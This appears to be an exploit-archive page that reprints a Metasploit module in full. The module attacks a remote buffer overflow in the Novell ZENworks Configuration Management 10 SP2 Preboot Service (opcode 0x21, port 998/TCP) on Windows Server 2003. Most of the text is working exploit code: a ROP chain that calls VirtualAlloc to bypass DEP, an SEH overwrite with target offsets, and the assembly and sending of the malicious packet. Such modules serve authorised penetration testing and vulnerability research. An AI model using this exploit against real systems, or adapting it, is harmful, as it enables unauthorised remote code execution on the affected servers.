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Novell ZENworks Configuration Management Preboot Service 0x21 Buffer Overflow

Novell ZENworks Configuration Management Preboot Service 0x21 Buffer Overflow
Posted Jul 19, 2012
Authored by Stephen Fewer, juan | Site metasploit.com

This Metasploit module exploits a remote buffer overflow in the ZENworks Configuration Management 10 SP2. The vulnerability exists in the Preboot service and can be triggered by sending a specially crafted packet with the opcode 0x21 (PROXY_CMD_FTP_FILE) to port 998/TCP. The module has been successfully tested on Novell ZENworks Configuration Management 10 SP2 and Windows Server 2003 SP2 (DEP bypass).

tags | exploit, remote, overflow, tcp
systems | windows
advisories | OSVDB-65361
MD5 | 152908928a9c6adae51d63c01d75b875

Novell ZENworks Configuration Management Preboot Service 0x21 Buffer Overflow

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'Novell ZENworks Configuration Management Preboot Service 0x21 Buffer Overflow',
'Description' => %q{
This module exploits a remote buffer overflow in the ZENworks Configuration
Management 10 SP2. The vulnerability exists in the Preboot service and can be
triggered by sending a specially crafted packet with the opcode 0x21
(PROXY_CMD_FTP_FILE) to port 998/TCP. The module has been successfully tested on
Novell ZENworks Configuration Management 10 SP2 and Windows Server 2003 SP2
(DEP bypass).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Stephen Fewer', # Vulnerability Discovery
'juan' # Metasploit module
],
'References' =>
[
[ 'OSVDB', '65361' ],
[ 'BID', '40486' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-090/' ],
[ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7005572' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process'
},
'Payload' =>
{
'BadChars' => "",
'Space'=> 8138,
'DisableNops' => true,
'PrependEncoder' => "\x81\xC4\x54\xF2\xFF\xFF" # add esp, -3500
},
'Platform' => ['win'],
'Targets' =>
[
[ 'Novell ZENworks Configuration Management 10 SP2 / Windows 2003 SP2',
{
'Offset' => 8252,
'OffsetBottomStack' => 8288,
'OffsetRop' => 44,
'Ret' => 0x0040175a # add esp, 0x408 # ret - novell_pbserv.exe
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Mar 30 2010',
'DefaultTarget' => 0))

register_options([Opt::RPORT(998)], self.class)
end

def junk(n=4)
return rand_text_alpha(n).unpack("V").first
end

def nop
return make_nops(4).unpack("L")[0].to_i
end

# rop chain generated with mona.py
def create_rop_chain()
rop_gadgets =
[
0x100065d1, # POP EDX # MOV ESI,C4830005 # ADD AL,3B # RETN [zenimgweb.dll]
0x00001000, # 0x00001000-> edx
0x10062113, # POP ECX # RETN [zenimgweb.dll]
0x1007d158, # ptr to &VirtualAlloc() [IAT zenimgweb.dll]
0x10018553, # MOV EAX,DWORD PTR DS:[ECX] # ADD ESP,20 # RETN [zenimgweb.dll]
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
junk, # Filler (compensate)
0x10016818, # PUSH EAX # POP ESI # RETN [zenimgweb.dll]
0x1002fd05, # POP EBP # RETN [zenimgweb.dll]
0x10043053, # & push esp # ret [zenimgweb.dll]
0x1003cbf8, # POP EBX # RETN [zenimgweb.dll]
0x00000001, # 0x00000001-> ebx
0x00423eeb, # POP ECX # RETN [novell-pbserv.exe]
0x00000040, # 0x00000040-> ecx
0x1003173e, # POP EDI # RETN [zenimgweb.dll]
0x10020801, # RETN (ROP NOP) [zenimgweb.dll]
0x00406b58, # POP EAX # RETN [novell-pbserv.exe]
nop,
0x1006d1e6, # PUSHAD # RETN [zenimgweb.dll]
].pack("V*")

return rop_gadgets
end


def exploit
connect

buf = rand_text(target['OffsetRop'])
buf << create_rop_chain
buf << payload.encoded
buf << rand_text(target['Offset'] - buf.length)
buf << generate_seh_record(target.ret)
buf << rand_text(target['OffsetBottomStack'] - buf.length)

packet = [0x21].pack("N") # Opcode 0x21 PROXY_CMD_FTP_FILE
packet << [buf.length].pack("N") # Length
packet << buf # Value
sock.put(packet)

disconnect
end
end
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